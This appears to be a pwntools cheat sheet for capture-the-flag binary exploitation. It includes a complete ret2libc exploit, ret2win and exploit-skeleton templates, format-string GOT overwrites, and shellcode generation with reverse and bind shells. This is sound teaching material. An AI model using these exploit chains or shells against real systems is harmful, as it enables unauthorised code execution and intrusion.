pwntools

tool pwntools python · exploit
SetupTubesSend/Recv Pack/UnpackELFROP ShellcraftUtilities GDBFormat StringTemplates
01Setup & Context
Install & import
# Install
pip install pwntools

# Import (star import for CTF scripts)
from pwn import *

# Set context — affects pack/shellcraft/logging
context.arch    = 'amd64'     # i386 | amd64 | arm | aarch64 | mips
context.os      = 'linux'     # linux | windows | freebsd
context.bits    = 64            # 32 | 64
context.endian  = 'little'    # little | big
context.log_level = 'debug'   # debug | info | warn | error

# Auto-set from binary
context.binary = ELF('./challenge')

# Convenience: set multiple at once
context(arch='amd64', os='linux', log_level='info')
Logging
# Log levels
log.debug('debug msg')
log.info('info msg')
log.success('exploit worked!')
log.warning('warning')
log.error('error — raises exception')
log.failure('failed')

# Progress spinner
with log.progress('Leaking libc...') as prog:
    prog.status('trying offset 1')
    # ... work ...
    prog.success(f'found at offset 42')

# Pretty-print bytes
log.info(enhex(payload))
log.info(f'leak = {leak:#x}')
02Tubes — Connect
Connection types
# Local process
p = process('./challenge')
p = process(['./challenge', 'arg1'])
p = process('./challenge', stdin=PTY)    # allocate PTY
p = process('./challenge', env={'VAR':'val'})

# Remote TCP
p = remote('host', 1337)
p = remote('host', 1337, ssl=True)       # TLS
p = remote('host', 1337, timeout=10)

# UDP
p = remote('host', 1337, typ='udp')

# SSH
s = ssh('user', 'host', password='pass')
p = s.process('./challenge')
p = s.shell()

# Listen (bind server)
l = listen(4444)
p = l.wait_for_connection()

# Close
p.close()
Switching local ↔ remote
# Common CTF pattern: toggle with args
import sys
if len(sys.argv) > 1 and sys.argv[1] == 'remote':
    p = remote('challenge.ctf.com', 1337)
else:
    p = process('./challenge')

# Run: python3 solve.py        → local
# Run: python3 solve.py remote → remote

# Or use args module
if args.REMOTE:
    p = remote('host', 1337)
else:
    p = process('./challenge')
# Run: python3 solve.py REMOTE
03Send & Receive
Send
# Send bytes (no newline)
p.send(b'data')
p.send(payload)

# Send + newline (\n)
p.sendline(b'data')
p.sendline(str(answer).encode())

# Wait for string then send
p.sendafter(b'Enter: ', b'data')
p.sendlineafter(b'> ', b'cmd')

# Send multiple lines
p.sendlines([b'line1', b'line2', b'line3'])

# Send EOF (close stdin)
p.shutdown('send')

# Send to specific fd
p.send(b'data')   # always stdout of process
Receive
# Receive exact N bytes
data = p.recv(8)
data = p.recv(8, timeout=5)

# Receive one line (until \n)
line = p.recvline()
line = p.recvline(keepends=False)  # strip \n

# Receive until string found
p.recvuntil(b'flag: ')
p.recvuntil(b': ', drop=True)    # discard delimiter

# Receive all output until EOF/timeout
data = p.recvall()
data = p.clean()                   # recv all buffered
data = p.clean(timeout=1)

# Receive N lines
lines = p.recvlines(3)

# Receive regex match
m = p.recvregex(rb'flag\{.*?\}')

# Interactive shell
p.interactive()                    # drop to manual I/O
04Pack & Unpack
Integer packing
# Pack integers (little-endian by default)
p8(0x41)                    # → b'\x41'         1 byte
p16(0x4142)                 # → b'\x42\x41'     2 bytes LE
p32(0xdeadbeef)             # → b'\xef\xbe\xad\xde' 4 bytes LE
p64(0xdeadbeef)             # → 8 bytes LE

# Unpack integers
u8(b'\x41')                 # → 65
u16(b'\x42\x41')            # → 0x4142
u32(b'\xef\xbe\xad\xde')    # → 0xdeadbeef
u64(b'\xef\xbe\xad\xde\x00\x00\x00\x00')  # → 0xdeadbeef

# Endianness override
p32(0xdeadbeef, endian='big')   # → b'\xde\xad\xbe\xef'
u32(data, endian='big')

# Pack from 6-byte leak (common libc leak pattern)
leak = u64(p.recv(6).ljust(8, b'\x00'))
libc.address = leak - libc.sym['puts']
Encoding utilities
# Hex encode/decode
enhex(b'pico')              # → '7069636f'
unhex('7069636f')          # → b'pico'

# XOR
xor(b'data', b'key')        # → XOR bytes, key repeats
xor(b'data', 0x41)          # → XOR with single byte

# Rotate (bit rotation)
rol(0b10110001, 2, 8)        # rotate left  2 bits in 8-bit word
ror(0b10110001, 2, 8)        # rotate right

# Byte utilities
bits(b'A')                  # → [0,1,0,0,0,0,0,1] bit list
unbits([0,1,0,0,0,0,0,1])   # → b'A'

# String conversion
flat(1337, b'\x00', 'text') # flatten mixed list to bytes
fit({0: b'AAA', 40: p64(0x401234)})  # place at offsets
05ELF — Binary Introspection
ELF object
elf = ELF('./challenge')
libc = ELF('./libc.so.6')

# Symbols
elf.sym['main']             # function address
elf.sym['win']              # win() address
elf.symbols['flag_buf']    # global variable

# PLT / GOT
elf.plt['puts']             # PLT entry → call this to call puts
elf.got['puts']             # GOT entry → address of puts pointer

# Search bytes/strings
next(elf.search(b'/bin/sh'))     # first occurrence
list(elf.search(b'\x90\x90'))    # all occurrences

# Sections
elf.section('.data')         # raw bytes of section
elf.get_section_by_name('.bss').header.sh_addr
Patching & properties
# Binary properties
elf.arch                     # 'amd64'
elf.bits                     # 64
elf.endian                   # 'little'
elf.entry                    # entry point address
elf.pie                      # True if PIE enabled
elf.nx                       # NX bit
elf.canary                   # stack canary present?

# Set base after leak (PIE)
elf.address = leak - elf.sym['main']
# Now all elf.sym[] return correct addresses

# libc: set base after leak
libc.address = puts_leak - libc.sym['puts']
system = libc.sym['system']
binsh  = next(libc.search(b'/bin/sh'))
exit_  = libc.sym['exit']

# Patch and save
elf.write(0x401234, b'\x90\x90')
elf.save('patched')
06ROP — Return Oriented Programming
ROP object
elf = ELF('./challenge')
rop = ROP(elf)

# Find gadgets
rop.find_gadget(['pop rdi', 'ret'])[0]   # address
rop.find_gadget(['pop rsi', 'pop r15', 'ret'])[0]
rop.find_gadget(['ret'])[0]               # stack alignment

# Build chain
rop.raw(p64(pop_rdi))
rop.raw(p64(elf.got['puts']))
rop.raw(p64(elf.plt['puts']))
rop.raw(p64(elf.sym['main']))

# Or use call syntax
rop.call(elf.plt['puts'], [elf.got['puts']])
rop.call(elf.sym['main'])

# Get chain bytes
chain = rop.chain()
print(rop.dump())          # human-readable
Full ret2libc example
from pwn import *

elf  = ELF('./challenge')
libc = ELF('./libc.so.6')
rop  = ROP(elf)

p = process('./challenge')
offset = 40

# Stage 1: leak puts@GOT
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret_gadget = rop.find_gadget(['ret'])[0]

payload  = b'A' * offset
payload += p64(pop_rdi)
payload += p64(elf.got['puts'])
payload += p64(elf.plt['puts'])
payload += p64(elf.sym['main'])   # return to main

p.sendlineafter(b'> ', payload)
leak = u64(p.recvline().strip().ljust(8, b'\x00'))
libc.address = leak - libc.sym['puts']
log.success(f'libc @ {libc.address:#x}')

# Stage 2: system('/bin/sh')
rop2 = ROP(libc)
rop2.call(libc.sym['system'], [next(libc.search(b'/bin/sh'))])
payload2 = b'A' * offset + rop2.chain()
p.sendlineafter(b'> ', payload2)
p.interactive()
07Shellcraft & Assembler
shellcraft
# Generate shellcode (uses context.arch)
context(arch='amd64', os='linux')

sc = shellcraft.sh()                # execve /bin/sh
sc = shellcraft.cat('/flag')        # read + print file
sc = shellcraft.cat('/flag', fd=1)  # explicit fd
sc = shellcraft.echo('hello')
sc = shellcraft.listen(4444)        # bind shell
sc = shellcraft.connect('host', 4444)  # reverse shell

# Assemble to bytes
shellcode = asm(sc)
print(shellcode.hex())
print(len(shellcode), 'bytes')

# Direct asm
code = asm("xor rax, rax; push rax; ret")
code = asm("""
    mov rdi, 0
    mov rax, 60
    syscall
""")
asm / disasm
# Assemble
asm("nop")                       # → b'\x90'
asm("pop rdi; ret")
asm("mov eax, 1", arch='i386')   # override arch

# Disassemble
disasm(b'\x90\xc3')               # → 'nop\nret'
disasm(shellcode, arch='amd64')
print(disasm(asm(shellcraft.sh())))

# Check shellcode for bad bytes
sc = asm(shellcraft.sh())
bad = [b'\x00', b'\x0a']
for b in bad:
    if b in sc:
        log.warning(f'bad byte {b.hex()} in shellcode')

# Archs: i386, amd64, arm, aarch64, mips, mips64
# Get list: shellcraft.archs
08Utilities
Cyclic patterns
# Generate de Bruijn pattern
cyclic(200)                   # 200-char ASCII pattern
cyclic(200, n=8)              # 8-byte substrings (64-bit)

# Find offset from crash value
cyclic_find(0x61616165)       # 32-bit crash value
cyclic_find(b'eaaa')         # 4-byte string from memory
cyclic_find(0x6161616161616165, n=8)  # 64-bit

# In pwndbg: cyclic -l $rsp or cyclic -l 0x6161616e

# Typical usage
p.sendline(cyclic(200))
p.wait()
core = p.corefile             # auto-collect core dump
offset = cyclic_find(core.rsp)
log.info(f'offset = {offset}')
Other utilities
# checksec
elf = ELF('./challenge')
# or just run: checksec ./challenge

# Core dump analysis
p = process('./challenge')
p.sendline(cyclic(200))
p.wait()
core = Coredump('./core')
print(f'rip = {core.rip:#x}')
print(f'rsp = {core.rsp:#x}')
offset = cyclic_find(core.rsp)

# Pause execution (set breakpoint before sending)
pause()                       # wait for Enter key

# Environment helpers
which('ls')                  # find binary in PATH
wait_for_debugger()           # print PID and pause

# Integer math helpers
bits_required(255)            # → 8
next_power_of_two(100)        # → 128
align(0x1234, 0x1000)         # round up to alignment
09GDB Integration
Attach & debug
# Launch process under GDB (opens terminal window)
p = gdb.debug('./challenge', '''
set follow-fork-mode child
break main
continue
''')

# Attach GDB to running process
p = process('./challenge')
gdb.attach(p, '''
break *0x401234
continue
''')
pause()                        # let GDB catch up

# Use GDB script file
gdb.attach(p, gdbscript=open('debug.gdb').read())

# env override for GDB process
p = gdb.debug('./challenge', env={'LD_PRELOAD': './libc.so.6'})
LD_PRELOAD & patching
# Use custom libc version
p = process('./challenge',
            env={'LD_PRELOAD': './libc-2.35.so'})

# patchelf: patch binary to use specific libc
# patchelf --set-interpreter ./ld.so --set-rpath . ./challenge

# libc version from leak: use libc.rip
# https://libc.rip — paste leaked puts/write address

# Download matching libc
# libc-database: https://github.com/niklasb/libc-database
# ./find puts 0x...abc   → gives libc version
# ./download ubuntu-xenial-amd64-libc6
10Format String Helper
fmtstr_payload
# Automatically build %n write payload
# fmtstr_payload(offset, {addr: value})

from pwn import *
elf = ELF('./challenge')
libc = ELF('./libc.so.6')

# Find format string offset first:
# send: AAAA.%1$p.%2$p.%3$p... find 0x41414141

offset = 6    # your found offset

# Overwrite GOT entry
printf_got = elf.got['printf']
system_addr = libc.sym['system']   # after leak
payload = fmtstr_payload(offset, {printf_got: system_addr})

# Overwrite 1 byte at a time (if payload too long)
payload = fmtstr_payload(offset, {addr: val},
                          write_size='byte')   # 'byte'|'short'|'int'
Find offset automatically
from pwn import *

def find_fmt_offset():
    for i in range(1, 50):
        p = process('./challenge')
        payload = f'AAAA.%{i}$x'.encode()
        p.sendlineafter(b'> ', payload)
        resp = p.recvline()
        p.close()
        if b'41414141' in resp:
            log.success(f'offset = {i}')
            return i
    return None

# 64-bit: look for 0x4141414141414141
def find_fmt_offset_64():
    for i in range(1, 50):
        p = process('./challenge')
        payload = b'AAAAAAAA' + f'.%{i}$p'.encode()
        p.sendlineafter(b'> ', payload)
        resp = p.recvline()
        p.close()
        if b'0x4141414141414141' in resp:
            log.success(f'offset = {i}')
            return i
11Solve Script Templates
ret2win template
from pwn import *

context(arch='amd64', os='linux', log_level='info')
elf = ELF('./challenge')
p = process('./challenge') if not args.REMOTE else remote('host', 1337)

offset = 40          # cyclic / cyclic_find
win    = elf.sym['win']
ret    = ROP(elf).find_gadget(['ret'])[0]  # stack align

payload  = b'A' * offset
payload += p64(ret)          # align stack for libc
payload += p64(win)

p.sendlineafter(b'> ', payload)
p.interactive()
Reusable exploit skeleton
from pwn import *

# ── config ──────────────────────────────────────────
HOST, PORT = 'challenge.ctf.com', 1337
BINARY     = './challenge'
LIBC       = './libc.so.6'

elf  = ELF(BINARY)
libc = ELF(LIBC)
context.binary = elf

def conn():
    if args.REMOTE: return remote(HOST, PORT)
    if args.GDB:    return gdb.debug(BINARY, 'b main\nc')
    return process(BINARY)

# ── exploit ─────────────────────────────────────────
def exploit():
    p = conn()

    # your exploit here
    offset = 40
    payload = flat(b'A' * offset, p64(elf.sym['win']))
    p.sendlineafter(b'> ', payload)

    p.interactive()

if __name__ == '__main__':
    exploit()
QUICK REFERENCE →  p32/p64 pack  · u32/u64 unpack  · elf.sym/plt/got addresses  · ROP(elf).find_gadget gadgets  · libc.address = leak - libc.sym['puts'] base  · cyclic / cyclic_find offset  · asm(shellcraft.sh()) shellcode  · fmtstr_payload(off, {got: addr}) fmt write  · p.interactive() drop to shell